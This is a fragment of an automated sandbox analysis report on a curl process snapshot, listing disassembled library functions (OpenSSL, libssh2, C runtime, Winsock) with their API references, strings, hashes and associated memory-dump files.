Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Module$FileHandleName__wassert_memmove
String ID: (len % blocksize) == 0$..\..\libssh2\src\transport.c
API String ID: 3533946698-984554067
Opcode ID: 0b11c8607534d24024da9a7aa3d0ea1caf88f04a576b418790edbb2de0cbd1ea
Instruction ID: 0c0cbc78c32b69c831611757d287c79cbe4385d2db022a4299efd697e1c3b839
Opcode Fuzzy Hash: 0b11c8607534d24024da9a7aa3d0ea1caf88f04a576b418790edbb2de0cbd1ea
Instruction Fuzzy Hash: 710126727012197BD720DAADDD85EDBB398EFC1B20F094135FD18C7301E671AA84C2A1

Function 0097AD80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

__wgetenv.LIBCMT ref: 0097AD99

Strings

ssl/cert.pem, xrefs: 0097ADAC
..\..\openssl\openssl\crypto\x509\by_file.c, xrefs: 0097ADC7
SSL_CERT_FILE, xrefs: 0097AD94

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __wgetenv
String ID: ..\..\openssl\openssl\crypto\x509\by_file.c$SSL_CERT_FILE$ssl/cert.pem
API String ID: 1112669753-1296077044
Opcode ID: 8f561819337fff3a8f808abdc91b7d4224e85bb48ddae54fcd7d0a4192e2fcdc
Instruction ID: 126a8a398eaee483bbae02f8319f39ffc0480057b684793b3b7a9a6f7313855f
Opcode Fuzzy Hash: 8f561819337fff3a8f808abdc91b7d4224e85bb48ddae54fcd7d0a4192e2fcdc
Instruction Fuzzy Hash: 270184B2B942266BDA24E634EC41E2F63959BD0755F00CA28F44FDB6C5EB20ED058293

Function 009A2230 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 009A224E
GetLastError.KERNEL32(..\..\openssl\openssl\crypto\bio\bss_file.c,000000F5), ref: 009A226E

Strings

..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009A228C
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009A2269

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast__fread_nolock
String ID: ..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c
API String ID: 3734711595-3106886489
Opcode ID: 10653385456c56534528a9558fc33476ba25fa019b236234c7c9db2ba1b155c8
Instruction ID: 4f781b4c8a121da63b1875acacafab7cad3b95a07636258155ec4e279bb69cc3
Opcode Fuzzy Hash: 10653385456c56534528a9558fc33476ba25fa019b236234c7c9db2ba1b155c8
Instruction Fuzzy Hash: 5AF081327543016BDA246B69FC0AB9B7395ABC5720F044974F555965D1EA60CC428A90

Function 009B6E70 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

__wgetenv.LIBCMT ref: 009B6E8D

Strings

..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 009B6EB7
ssl/certs, xrefs: 009B6E9F
SSL_CERT_DIR, xrefs: 009B6E88

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __wgetenv
String ID: ..\..\openssl\openssl\crypto\x509\by_dir.c$SSL_CERT_DIR$ssl/certs
API String ID: 1112669753-4111952621
Opcode ID: 518f637bd599ba90e6d7867e99bc103b8e5f771d02b898d5b6759c3ecd6612de
Instruction ID: b1a31369c2239e2490730078bab3ceaf566c349789c76178558b629b7e10172c
Opcode Fuzzy Hash: 518f637bd599ba90e6d7867e99bc103b8e5f771d02b898d5b6759c3ecd6612de
Instruction Fuzzy Hash: CAF0C276B483216BDA10E664FA42BDB73D5ABC0B34F098464F8099B382E661FD5583D3

Function 009586E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 009586FD
_strstr.LIBCMT ref: 00958714

Strings

;mode=, xrefs: 00958709
;mode=, xrefs: 009586E6

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strstr
String ID: ;mode=$;mode=
API String ID: 2882301372-313602844
Opcode ID: 235947823456559b93d4efc493024b6886dcc769b1b41659518df1e942d3bbd1
Instruction ID: 89407cdaca19aad42b9fd6f3ebfb9e439d9a733f68e3c47a967b145886b09319
Opcode Fuzzy Hash: 235947823456559b93d4efc493024b6886dcc769b1b41659518df1e942d3bbd1
Instruction Fuzzy Hash: F9F059311482829DD721D339FC09B87FFD47F61391F0884B5E8DDA7222EFA0680583A1

Function 0092E570 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 0092E57B
_strncmp.LIBCMT ref: 0092E58F

Strings

I32, xrefs: 0092E575
I64, xrefs: 0092E589

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncmp
String ID: I32$I64
API String ID: 909875538-3980630743
Opcode ID: c9b55cb48f19959379d5c9608174ddf3982e21ac6b2ffe1e05cdae8b040acae2
Instruction ID: 0a3a5b14d50ab5764c26d5993fa9b2c5df55ee14844097845475f7225810e325
Opcode Fuzzy Hash: c9b55cb48f19959379d5c9608174ddf3982e21ac6b2ffe1e05cdae8b040acae2
Instruction Fuzzy Hash: BAE0DF6595427024FD3126243CA2FEA2A9C0F12778F4A10A5F888952CFF284DB428492

Function 00A16BC0 Relevance: 6.2, APIs: 4, Instructions: 235COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A16C3C

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: d155c82038e99a3bd8241516ccb3aa4f553340fec2490944dbc5448358334546
Instruction ID: fe9a994b95e6a1f964ddda74a23e881b812017221116a8df246f70cf7ddbe54c
Opcode Fuzzy Hash: d155c82038e99a3bd8241516ccb3aa4f553340fec2490944dbc5448358334546
Instruction Fuzzy Hash: 30819F716046128FC710CF28E880AEAB7E4EF49364F1546ADF959CB341DB31ED55CB91

Function 00950430 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00950491
__aulldiv.LIBCMT ref: 009504A2
recv.WS2_32(?,?,?,00000000), ref: 00950513
WSAGetLastError.WS2_32(?,000003E8,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 0095051E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick__aulldivrecv
String ID:
API String ID: 4202396547-0
Opcode ID: 29d53d28c4c1dfcd9f3d7a5b5bc0f6a011a4a456330f0e5663390ad0d3b3d647
Instruction ID: 88295709512543222132005f2a96c302ff3c09096a6cb324697a867d12b8ced1
Opcode Fuzzy Hash: 29d53d28c4c1dfcd9f3d7a5b5bc0f6a011a4a456330f0e5663390ad0d3b3d647
Instruction Fuzzy Hash: 4C412532B043114BD708CF2AD88167E7799EBC4761F580A7DFE19CB2E1EA25DD098B91

Function 00A2238C Relevance: 6.1, APIs: 4, Instructions: 104COMMON

Download Yara Rule

APIs

__stbuf.LIBCMT ref: 00A22448
_strlen.LIBCMT ref: 00A22453
__ftbuf.LIBCMT ref: 00A224B3

Part of subcall function 00A1E62A: __getptd_noexit.LIBCMT ref: 00A1E62A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __ftbuf__getptd_noexit__stbuf_strlen
String ID:
API String ID: 1213978320-0
Opcode ID: 1a4e3fb888f2ba5afd3e35c74f5ae1780683b954a0cfd89159f6f4b2a4ebf442
Instruction ID: 0715de0d6a873e27e458c7c92b1c5dbfff64c64b8423372053e3e6297c72f945
Opcode Fuzzy Hash: 1a4e3fb888f2ba5afd3e35c74f5ae1780683b954a0cfd89159f6f4b2a4ebf442
Instruction Fuzzy Hash: A231F9B29042606FEB10BB7CFE427AD3665EF95320F294274F4149A1D2DA7C9881D715

Function 0096C100 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0096C123
__aulldiv.LIBCMT ref: 0096C134
GetTickCount64.KERNEL32 ref: 0096C17D
__aulldiv.LIBCMT ref: 0096C18E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv
String ID:
API String ID: 1362846788-0
Opcode ID: b1700bfc977c4d92cd95e9e5028674e9cd2ffbdb8371f2d29ca9718843129265
Instruction ID: 7f18c459b390b02179a28697d9144ee1008566fb56b454c1e4236cdca76c72cc
Opcode Fuzzy Hash: b1700bfc977c4d92cd95e9e5028674e9cd2ffbdb8371f2d29ca9718843129265
Instruction Fuzzy Hash: 8421A633A402104BDB4CDF28D99976D7BA8EB89710F4A437EFD0D9F295DA249E048BD1

Function 0093EEF0 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0093EEFF
InitializeCriticalSectionEx.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,00000000), ref: 0093EF3B
DeleteCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 0093EF60
_memset.LIBCMT ref: 0093EF93

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: CriticalSection_memset$DeleteInitialize
String ID:
API String ID: 4176218707-0
Opcode ID: 995fd029e60d0f84207cd7f531f4fe4d5f417ebcd0f893c1bf32e56ff9d4e9d7
Instruction ID: 979e95a651e53eb295b48acdb56a8f6de84bd1ede11f4c161976bf33c9b88344
Opcode Fuzzy Hash: 995fd029e60d0f84207cd7f531f4fe4d5f417ebcd0f893c1bf32e56ff9d4e9d7
Instruction Fuzzy Hash: 1621B1B1600702ABE720EF6DEC85F57B7A8FF84701F004529F909D6281EBB4E565CB91

Function 00922610 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0092263E

Part of subcall function 00A1E832: RtlFreeHeap.NTDLL(00000000,00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?), ref: 00A1E846
